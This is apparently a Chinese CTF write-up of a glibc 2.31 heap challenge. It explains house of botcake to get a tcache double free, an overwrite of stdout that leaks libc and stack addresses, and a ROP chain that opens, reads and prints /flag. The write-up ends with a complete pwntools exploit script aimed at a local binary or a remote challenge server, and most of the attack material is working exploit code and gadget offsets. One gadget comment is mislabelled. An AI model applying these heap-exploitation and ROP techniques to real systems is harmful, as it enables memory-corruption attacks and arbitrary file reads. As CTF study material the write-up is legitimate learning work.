elf堆,libc Ubuntu GLIBC 2.31-0ubuntu9.8,实在懒得找用Ubuntu GLIBC 2.31-0ubuntu9代替一下,远程打不了就算了,就有一些偏移不一样
保护全开

house of botcake+orw
在2.29?之后的tcache bins里的chunk会在bk位存在一个key记录这个被free的chunk放在哪个tcache bins里,当这个chunk再次被free后会从bk里找值去遍历对应的tcache bins如果有相同的chunk就会报double free的错误,只要有堆溢出或者任意地址写将其改掉或者清空就能实现df。


本题只有一次uaf和show并且没有edit,在add处可以编辑,采用df实现edit功能,故采用攻击stdout来泄露的地址
house of botcake
先把0xa0的tcache bins填满,接下来free的chunk将会进入unsorted bins
for x in range(10):
add(0x90)
for x in range(7):
free(x)

用uaf泄露地址,保留第八个堆块的地址
p.sendlineafter(select, b"666")
p.sendlineafter(b"Please input idx: ", str(8).encode())
show(8)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x1ECBE0
print("libc--->"+hex(libc_base))
stdout=libc_base+libc.sym["_IO_2_1_stdout_"]
environ=libc_base+libc.sym["environ"]
接下来free第七个chunk
free(7)
由于7和8相邻都是在并且tcache bins被填满,7和8就会合并一个大堆块

将一个堆块从tcache bins里取出
add(0x90,b"/flag\x00")#0

因为8号堆块没有被放入tcache bins所以在bk处没有key并且uaf的缘故我们还留有其地址。再次free

8号堆块同时存在于tcache bins和unsorted bins,我们切割unsorted bins的大堆块
free(8)


unsorted bins里的堆块就会停在8号堆块的上方,再次malloc一个就可以写8号堆块
add(0x80)#1

往8号堆块里写入stdout,add两次就可以得到劫持stdout
add(0x80,p64(0)+p64(0xa1)+p64(stdout))#2

伪造stdout的flag改为0xfbad1800并且将其write_base和write_ptr指向environ和environ+8,在下一次puts会检查伪造flag不会重置write_ptr和write_base,得到栈的地址
add(0x90)#3
add(0x90,p64(0xfbad1800) + p64(0) * 3 + p64(environ) + p64(environ + 8) )#4
stack=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x150
print("stack--->"+hex(stack))
因为堆块没有free,再次进行上述步骤
free(3)
free(2)
add(0x80,p64(0)+p64(0xa1)+p64(stack))

申请到栈上打orw
rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
rsi = libc_base + 0x000000000002601f # pop rsi ; ret
rdx = libc_base + 0x0000000000119431 # pop rdx ; ret
rcx_rbx = libc_base + 0x000000000010257e # pop rdx ; ret
syscall=libc.sym["syscall"]+libc_base
#gdb.attach(p,"b *$rebase(0x137D)")
add(0x90)
payload=flat([
b"/flag\x00\x00\x00"*2,
rdi,stack+8,
rsi,0,
libc_base+libc.sym["open"],
rdi,3,
rsi,stack+0x100,
rdx,0x50,0,
libc_base+libc.sym["read"],
rdi,stack+0x100,
libc_base+libc.sym["puts"]
])
add(0x90,payload)
得到flag

完整exp
from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
from pwn import *
import os
filename="./pwn"
os.system(f'chmod 777 ./{filename}')
debug=1
if debug:
p=process(filename)
# gdb.attach(p,"b *$rebase(0x137D)")
else:
p=remote("node4.anna.nssctf.cn",28897)
libc=ELF("/root/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc-2.31.so")
elf=ELF(filename)
context.arch=elf.arch
select=b"Choice:"
def add(size,content=b""):
p.sendlineafter(select, b"1")
#p.sendlineafter(b"Index: ", str(index).encode())
p.sendlineafter(b"Please input size: ", str(size).encode())
p.sendlineafter(b"Please input content: ", content)
def edit(content,index=0):
p.sendlineafter(select, b"4")
p.sendlineafter(b"Index: ", str(index).encode())
#p.sendlineafter(b"input size", str(len(content)).encode())
p.sendlineafter(b"Content: ", content)
def free(index=0):
p.sendlineafter(select, b"2")
p.sendlineafter(b"Please input idx: ", str(index).encode())
def show(index=0):
p.sendlineafter(select, b"3")
p.sendlineafter(b"Please input idx: ", str(index).encode())
for x in range(10):
add(0x90)
for x in range(7):
free(x)
p.sendlineafter(select, b"666")
p.sendlineafter(b"Please input idx: ", str(8).encode())
show(8)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x1ECBE0
print("libc--->"+hex(libc_base))
stdout=libc_base+libc.sym["_IO_2_1_stdout_"]
environ=libc_base+libc.sym["environ"]
free(7)
add(0x90,b"/flag\x00")#0
free(8)
add(0x80)#1
add(0x80,p64(0)+p64(0xa1)+p64(stdout))#2
add(0x90)#3
add(0x90,p64(0xfbad1800) + p64(0) * 3 + p64(environ) + p64(environ + 8) )#4
stack=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x150
print("stack--->"+hex(stack))
free(3)
free(2)
add(0x80,p64(0)+p64(0xa1)+p64(stack))
rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
rsi = libc_base + 0x000000000002601f # pop rsi ; ret
rdx = libc_base + 0x0000000000119431 # pop rdx ; ret
rcx_rbx = libc_base + 0x000000000010257e # pop rdx ; ret
syscall=libc.sym["syscall"]+libc_base
#gdb.attach(p,"b *$rebase(0x137D)")
add(0x90)
payload=flat([
b"/flag\x00\x00\x00"*2,
rdi,stack+8,
rsi,0,
libc_base+libc.sym["open"],
rdi,3,
rsi,stack+0x100,
rdx,0x50,0,
libc_base+libc.sym["read"],
rdi,stack+0x100,
libc_base+libc.sym["puts"]
])
add(0x90,payload)
#gdb.attach(proc.pidof(p)[0])
p.interactive()
Comments NOTHING